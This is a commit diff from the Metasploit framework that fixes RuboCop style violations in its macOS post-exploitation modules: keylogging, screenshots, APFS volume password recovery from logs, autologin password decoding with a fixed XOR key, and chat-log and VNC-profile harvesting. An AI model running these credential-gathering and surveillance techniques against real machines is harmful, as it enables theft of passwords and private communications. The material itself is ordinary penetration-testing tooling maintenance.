Skip to content

Commit bf5269e

Browse files
committed
modules/post/osx: Resolve RuboCop violations
1 parent 8ae6d35 commit bf5269e

21 files changed

+231
-144
lines changed

modules/post/osx/admin/say.rb

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,12 @@ def initialize(info = {})
1919
'License' => MSF_LICENSE,
2020
'Author' => [ 'sinn3r'],
2121
'Platform' => [ 'osx' ],
22-
'SessionTypes' => [ 'meterpreter', 'shell' ]
22+
'SessionTypes' => [ 'meterpreter', 'shell' ],
23+
'Notes' => {
24+
'Stability' => [CRASH_SAFE],
25+
'SideEffects' => [AUDIO_EFFECTS],
26+
'Reliability' => []
27+
}
2328
)
2429
)
2530

@@ -34,7 +39,7 @@ def initialize(info = {})
3439
def exec(cmd)
3540
tries = 0
3641
begin
37-
out = cmd_exec(cmd).chomp
42+
cmd_exec(cmd).chomp
3843
rescue ::Timeout::Error => e
3944
tries += 1
4045
if tries < 3

modules/post/osx/capture/keylog_recorder.rb

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,12 @@ def initialize(info = {})
3939
'License' => MSF_LICENSE,
4040
'Author' => [ 'joev'],
4141
'Platform' => [ 'osx'],
42-
'SessionTypes' => [ 'shell', 'meterpreter' ]
42+
'SessionTypes' => [ 'shell', 'meterpreter' ],
43+
'Notes' => {
44+
'Stability' => [CRASH_SAFE],
45+
'SideEffects' => [],
46+
'Reliability' => []
47+
}
4348
)
4449
)
4550

modules/post/osx/capture/screen.rb

Lines changed: 10 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,12 @@ def initialize(info = {})
2020
'Peter Toth <globetother[at]gmail.com>' # ported windows version to osx
2121
],
2222
'Platform' => [ 'osx' ],
23-
'SessionTypes' => [ 'meterpreter', 'shell' ]
23+
'SessionTypes' => [ 'meterpreter', 'shell' ],
24+
'Notes' => {
25+
'Stability' => [CRASH_SAFE],
26+
'SideEffects' => [ARTIFACTS_ON_DISK],
27+
'Reliability' => []
28+
}
2429
)
2530
)
2631

@@ -65,8 +70,7 @@ def run
6570
Rex.sleep(delay) unless num <= 0
6671

6772
begin
68-
# This is an OSX module, so mkdir -p should be fine
69-
cmd_exec("mkdir -p #{tmp_path}")
73+
mkdir(tmp_path)
7074
filename = Rex::Text.rand_text_alpha(7)
7175
file = "#{tmp_path}/#{filename}"
7276
cmd_exec("#{exe_path} -x -C -t #{file_type} #{file}")
@@ -75,7 +79,7 @@ def run
7579
rescue ::Rex::Post::Meterpreter::RequestError => e
7680
print_error('Error taking the screenshot')
7781
vprint_error("#{e.class} #{e} #{e.backtrace}")
78-
return
82+
break
7983
end
8084

8185
unless data
@@ -92,12 +96,12 @@ def run
9296
rescue ::IOError, ::Errno::ENOENT => e
9397
print_error('Error storing screenshot')
9498
vprint_error("#{e.class} #{e} #{e.backtrace}")
95-
return
99+
break
96100
end
97101
end
98102

99103
print_status('Screen Capturing Complete')
100-
if file_locations && !file_locations.empty?
104+
unless file_locations.blank?
101105
print_status('Use "loot -t screen_capture.screenshot" to see file locations of your newly acquired loot')
102106
end
103107
end

modules/post/osx/gather/apfs_encrypted_volume_passwd.rb

Lines changed: 20 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,12 @@ def initialize(info = {})
2929
'cbrnrd' # Metasploit module
3030
],
3131
'SessionTypes' => [ 'shell', 'meterpreter' ],
32-
'DisclosureDate' => '2018-03-21'
32+
'DisclosureDate' => '2018-03-21',
33+
'Notes' => {
34+
'Stability' => [CRASH_SAFE],
35+
'SideEffects' => [],
36+
'Reliability' => []
37+
}
3338
)
3439
)
3540
register_options([
@@ -47,25 +52,28 @@ def check
4752

4853
def run
4954
if check == Exploit::CheckCode::Safe
50-
print_error 'This version of OSX is not vulnerable'
55+
print_error('This version of OSX is not vulnerable')
5156
return
5257
end
58+
5359
cmd = "log show --info --predicate 'eventMessage contains \"newfs_\"'"
5460
cmd << " | grep #{datastore['MOUNT_PATH']}" unless datastore['MOUNT_PATH'].empty?
55-
vprint_status "Running \"#{cmd}\" on target..."
61+
vprint_status("Running \"#{cmd}\" on target...")
5662
results = cmd_exec(cmd)
57-
vprint_status "Target results:\n#{results}"
63+
vprint_status("Target results:\n#{results}")
64+
5865
if results.empty?
5966
print_error 'Got no response from target. Stopping...'
60-
else
61-
successful_lines = 0
62-
results.lines.each do |l|
63-
next unless l =~ /newfs_apfs(.*)-S(.*)$/
67+
return
68+
end
69+
70+
successful_lines = 0
71+
results.lines.each do |l|
72+
next unless l =~ /newfs_apfs(.*)-S(.*)$/
6473

65-
print_good "APFS command found: #{::Regexp.last_match(0)}"
66-
successful_lines += 1
67-
end
68-
print_error 'No password(s) found for any volumes. Exiting...' if successful_lines.zero?
74+
print_good "APFS command found: #{::Regexp.last_match(0)}"
75+
successful_lines += 1
6976
end
77+
print_error 'No password(s) found for any volumes. Exiting...' if successful_lines.zero?
7078
end
7179
end

modules/post/osx/gather/autologin_password.rb

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ class MetasploitModule < Msf::Post
77
include Msf::Post::File
88
include Msf::Post::OSX::Priv
99

10-
# extract/verify by by XORing your kcpassword with your password
10+
# extract/verify by XORing your kcpassword with your password
1111
AUTOLOGIN_XOR_KEY = [0x7D, 0x89, 0x52, 0x23, 0xD2, 0xBC, 0xDD, 0xEA, 0xA3, 0xB9, 0x1F]
1212

1313
def initialize(info = {})
@@ -26,9 +26,14 @@ def initialize(info = {})
2626
'Author' => [ 'joev' ],
2727
'Platform' => [ 'osx' ],
2828
'References' => [
29-
['URL', 'http://www.brock-family.org/gavin/perl/kcpassword.html']
29+
['URL', 'https://web.archive.org/web/20180408062145/http://www.brock-family.org/gavin/perl/kcpassword.html'],
3030
],
31-
'SessionTypes' => [ 'meterpreter', 'shell' ]
31+
'SessionTypes' => [ 'meterpreter', 'shell' ],
32+
'Notes' => {
33+
'Stability' => [CRASH_SAFE],
34+
'SideEffects' => [],
35+
'Reliability' => []
36+
}
3237
)
3338
)
3439

modules/post/osx/gather/enum_adium.rb

Lines changed: 15 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,12 @@ def initialize(info = {})
3030
['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],
3131
['ALL', { 'Description' => 'Collect both account plists and chat logs' }]
3232
],
33-
'DefaultAction' => 'ALL'
33+
'DefaultAction' => 'ALL',
34+
'Notes' => {
35+
'Stability' => [CRASH_SAFE],
36+
'SideEffects' => [ARTIFACTS_ON_DISK],
37+
'Reliability' => []
38+
}
3439
)
3540
)
3641

@@ -43,12 +48,11 @@ def initialize(info = {})
4348

4449
#
4550
# Parse a plst file to XML format:
46-
# http://hints.macworld.com/article.php?story=20050430105126392
51+
# https://web.archive.org/web/20141112034745/http://hints.macworld.com/article.php?story=20050430105126392
4752
#
4853
def plutil(filename)
4954
exec("plutil -convert xml1 #{filename}")
50-
data = exec("cat #{filename}")
51-
return data
55+
exec("cat #{filename}")
5256
end
5357

5458
#
@@ -148,7 +152,7 @@ def get_account_info(base)
148152
# Save data, and then clean up
149153
#
150154
if xml.empty?
151-
print_error("#{@peer} - Unalbe to parse: #{file}")
155+
print_error("#{@peer} - Unable to parse: #{file}")
152156
else
153157
loot << { filename: file, data: xml }
154158
exec("rm #{rand_name}")
@@ -220,7 +224,7 @@ def dir(path)
220224
# and retry under certain conditions.
221225
#
222226
def exec(cmd)
223-
out = cmd_exec(cmd).chomp
227+
cmd_exec(cmd).chomp
224228
rescue ::Timeout::Error => e
225229
vprint_error("#{@peer} - #{e.message} - retrying...")
226230
retry
@@ -260,17 +264,18 @@ def run
260264

261265
#
262266
# Check adium. And then set the default profile path
267+
# Example: /Users/[username]/Library/Application Support/Adium 2.0/
263268
#
264269
base = "/Users/#{user}/Library/Application\\ Support/"
265270
adium_path = locate_adium(base)
266-
if adium_path
267-
print_status("#{@peer} - Found adium: #{adium_path}")
268-
adium_path += 'Users/Default/'
269-
else
271+
unless adium_path
270272
print_error("#{@peer} - Unable to find adium, will not continue")
271273
return
272274
end
273275

276+
print_status("#{@peer} - Found adium: #{adium_path}")
277+
adium_path += 'Users/Default/'
278+
274279
#
275280
# Now that adium is found, let's download some stuff
276281
#
@@ -284,8 +289,3 @@ def run
284289
save(:chatlogs, chatlogs) if !chatlogs.nil? && !chatlogs.empty?
285290
end
286291
end
287-
288-
=begin
289-
Adium:
290-
/Users/[username]/Library/Application\ Support/Adium\ 2.0/
291-
=end

modules/post/osx/gather/enum_airport.rb

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -18,15 +18,20 @@ def initialize(info = {})
1818
'License' => MSF_LICENSE,
1919
'Author' => [ 'sinn3r'],
2020
'Platform' => [ 'osx' ],
21-
'SessionTypes' => [ 'meterpreter', 'shell' ]
21+
'SessionTypes' => [ 'meterpreter', 'shell' ],
22+
'Notes' => {
23+
'Stability' => [CRASH_SAFE],
24+
'SideEffects' => [],
25+
'Reliability' => []
26+
}
2227
)
2328
)
2429
end
2530

2631
def exec(cmd)
2732
tries = 0
2833
begin
29-
out = cmd_exec(cmd).chomp
34+
cmd_exec(cmd).chomp
3035
rescue ::Timeout::Error => e
3136
tries += 1
3237
if tries < 3

modules/post/osx/gather/enum_chicken_vnc_profile.rb

Lines changed: 13 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,12 @@ def initialize(info = {})
1919
'License' => MSF_LICENSE,
2020
'Author' => [ 'sinn3r'],
2121
'Platform' => [ 'osx' ],
22-
'SessionTypes' => [ 'meterpreter', 'shell' ]
22+
'SessionTypes' => [ 'meterpreter', 'shell' ],
23+
'Notes' => {
24+
'Stability' => [CRASH_SAFE],
25+
'SideEffects' => [],
26+
'Reliability' => []
27+
}
2328
)
2429
)
2530
end
@@ -35,7 +40,7 @@ def whoami
3540
def exec(cmd)
3641
tries = 0
3742
begin
38-
out = cmd_exec(cmd).chomp
43+
cmd_exec(cmd).chomp
3944
rescue ::Timeout::Error => e
4045
tries += 1
4146
if tries < 3
@@ -61,20 +66,20 @@ def dir(path)
6166

6267
def locate_chicken
6368
dir('/Applications/').each do |folder|
64-
m = folder.match(/Chicken of the VNC\.app/)
65-
return true
69+
return true if folder.match(/Chicken of the VNC\.app/)
6670
end
6771

6872
return false
6973
end
7074

7175
def get_profile_plist(user)
7276
f = exec("cat /Users/#{user}/Library/Preferences/com.geekspiff.chickenofthevnc.plist")
77+
7378
if f =~ /No such file or directory/
7479
return nil
75-
else
76-
return f
7780
end
81+
82+
f
7883
end
7984

8085
def save(file)
@@ -96,10 +101,10 @@ def run
96101
if !locate_chicken
97102
print_error("#{@peer} - Chicken of the VNC is not installed")
98103
return
99-
else
100-
print_status("#{@peer} - Chicken of the VNC found")
101104
end
102105

106+
print_status("#{@peer} - Chicken of the VNC found")
107+
103108
plist = get_profile_plist(user)
104109
if plist.nil?
105110
print_error('No profile plist found')

modules/post/osx/gather/enum_colloquy.rb

Lines changed: 13 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,12 @@ def initialize(info = {})
2929
['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],
3030
['ALL', { 'Description' => 'Collect both the plists and chat logs' }]
3131
],
32-
'DefaultAction' => 'ALL'
32+
'DefaultAction' => 'ALL',
33+
'Notes' => {
34+
'Stability' => [CRASH_SAFE],
35+
'SideEffects' => [],
36+
'Reliability' => []
37+
}
3338
)
3439
)
3540

@@ -42,12 +47,11 @@ def initialize(info = {})
4247

4348
#
4449
# Parse a plst file to XML format:
45-
# http://hints.macworld.com/article.php?story=20050430105126392
50+
# https://web.archive.org/web/20141112034745/http://hints.macworld.com/article.php?story=20050430105126392
4651
#
4752
def plutil(filename)
4853
exec("plutil -convert xml1 #{filename}")
49-
data = exec("cat #{filename}")
50-
return data
54+
exec("cat #{filename}")
5155
end
5256

5357
def get_chatlogs(base)
@@ -125,7 +129,7 @@ def dir(path)
125129
def exec(cmd)
126130
tries = 0
127131
begin
128-
out = cmd_exec(cmd).chomp
132+
cmd_exec(cmd).chomp
129133
rescue ::Timeout::Error => e
130134
tries += 1
131135
if tries < 3
@@ -150,6 +154,10 @@ def run
150154
@peer = "#{session.session_host}:#{session.session_port}"
151155
user = whoami
152156

157+
# Examples:
158+
# /Users/[user]/Library/Preferences/info.colloquy.plist
159+
# /Users/[user]/Documents/Colloquy Transcripts
160+
# /Users/[user]/Documents/Colloquy Transcripts//[server]/[contact] 10-13-11.colloquyTranscript
153161
transcripts_path = "/Users/#{user}/Documents/Colloquy Transcripts/"
154162
prefs_path = "/Users/#{user}/Library/Preferences/info.colloquy.plist"
155163

@@ -160,11 +168,3 @@ def run
160168
save(:chatlogs, chatlogs) if !chatlogs.nil? && !chatlogs.empty?
161169
end
162170
end
163-
164-
=begin
165-
/Users/[user]/Documents/Colloquy Transcripts
166-
/Users/[user]/Library/Preferences/info.colloquy.plist
167-
168-
Transcript example:
169-
/Users/[username]/Documents/Colloquy Transcripts//[server]/[contact] 10-13-11.colloquyTranscript
170-
=end

0 commit comments

Comments
 (0)